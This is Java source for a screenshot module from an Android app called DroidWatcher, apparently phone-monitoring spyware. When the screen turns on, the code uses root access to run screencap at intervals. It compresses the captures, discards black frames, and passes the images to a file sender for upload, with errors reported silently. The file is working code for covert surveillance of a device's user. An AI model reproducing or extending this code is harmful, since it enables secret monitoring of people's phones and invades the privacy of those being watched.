package com.droidwatcher.modules; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.lang.ref.WeakReference; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Locale; import org.acra.ACRA; import com.droidwatcher.Debug; import com.droidwatcher.FileSender; import com.droidwatcher.SettingsManager; import com.droidwatcher.FileSender.FileType; import com.droidwatcher.lib.FileUtil; import com.droidwatcher.lib.ImageUtil; import com.droidwatcher.receivers.ScreenStateReceiver; import com.stericson.RootTools.RootTools; import com.stericson.RootTools.execution.CommandCapture; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.graphics.Bitmap; import android.os.Handler; import android.os.Message; import android.support.v4.content.LocalBroadcastManager; public class ScreenshotModule { private static final String SCREENCAP_PATH = "/system/bin/screencap"; private static final Locale sLocale = new Locale("ru","RU"); private static final long FIRST_SCREENSHOT_DELAY = 3 * 1000L; //private Boolean isScreenOff = true; private Context mContext; private SettingsManager mSettings; private Handler mHandler; private BroadcastReceiver mScreenStateReceiver; public static final String PREFIX = "[screenshot]"; public static Boolean isAvailable(){ if (android.os.Build.VERSION.SDK_INT < 14) { return false; } return new File(SCREENCAP_PATH).exists(); } public ScreenshotModule(Context context){ this.mContext = context; mSettings = new SettingsManager(context); mScreenStateReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { //isScreenOff = intent.getAction().equals(Intent.ACTION_SCREEN_OFF); int state = intent.getIntExtra(ScreenStateReceiver.SCREEN_STATE_EXTRA, ScreenStateReceiver.SCREEN_STATE_UNKNOWN); switch (state) { case ScreenStateReceiver.SCREEN_STATE_OFF: mHandler.removeMessages(0); break; case ScreenStateReceiver.SCREEN_STATE_ON: if(mSettings.isScreenshotEnabled()){ mHandler.sendEmptyMessageDelayed(0, FIRST_SCREENSHOT_DELAY); } break; default: break; } } }; mHandler = new MyHandler(this); } private void makeScreenshot(){ if (FileUtil.isExternalStorageAvailable() && FileUtil.hasExternalStorageFreeMemory()){ if (RootTools.isAccessGiven()){ try { String path = FileUtil.getExternalFullPath(mContext, "screenshot.jpg"); MakeScreenshotCommand command = new MakeScreenshotCommand(path); RootTools.getShell(true).add(command); } catch (Exception e) { ACRA.getErrorReporter().handleSilentException(e); } } } if(mSettings.isScreenshotEnabled()){ mHandler.sendEmptyMessageDelayed(0, mSettings.screenshotInterval()); } } public void start(){ LocalBroadcastManager.getInstance(mContext).registerReceiver( mScreenStateReceiver, new IntentFilter(ScreenStateReceiver.SCREEN_EVENT) ); } public void dispose(){ try { LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mScreenStateReceiver); mHandler.removeMessages(0); mHandler = null; mScreenStateReceiver = null; } catch (Exception e) { Debug.exception(e); } } private class MakeScreenshotCommand extends CommandCapture{ private static final String CMD = "/system/bin/screencap -p "; private String path; public MakeScreenshotCommand(String path){ super(0, CMD + path); this.path = path; } @Override public void commandCompleted(int id, int exitcode) { Bitmap bmp = null; FileOutputStream out = null; try { int size = mSettings.screenshotSize(); bmp = ImageUtil.getResizedImage(path, size); if (bmp != null) { if (ImageUtil.isBlack(bmp)) { return; } Date dt = new Date(); String date = SimpleDateFormat.getDateTimeInstance(SimpleDateFormat.SHORT, SimpleDateFormat.MEDIUM, sLocale).format(dt); date = date.replace(':', '-');//.replace(' ', '_'); String fName = PREFIX + "[" + date + "]" + "[" + dt.getTime() + "]" + ".jpg"; out = new FileOutputStream(FileUtil.getExternalFullPath(mContext, fName)); bmp.compress(Bitmap.CompressFormat.JPEG, 60, out); File del = new File(path); del.delete(); new FileSender(mContext, FileType.SCREENSHOT).start(); } } catch (Exception e) { ACRA.getErrorReporter().handleSilentException(e); } finally { if (bmp != null && !bmp.isRecycled()) { bmp.recycle(); bmp = null; } if (out != null) { try { out.close(); } catch (IOException e) { Debug.exception(e); } out = null; } } } @Override public void commandTerminated(int id, String reason) { super.commandTerminated(id, reason); ACRA.getErrorReporter().handleSilentException(new Exception(reason)); } } private static class MyHandler extends Handler{ private final WeakReference<ScreenshotModule> mModule; private MyHandler(ScreenshotModule module) { mModule = new WeakReference<ScreenshotModule>(module); } @Override public void handleMessage(Message msg) { ScreenshotModule mgr = mModule.get(); if (mgr != null && msg.what == 0) { mgr.makeScreenshot(); } } } }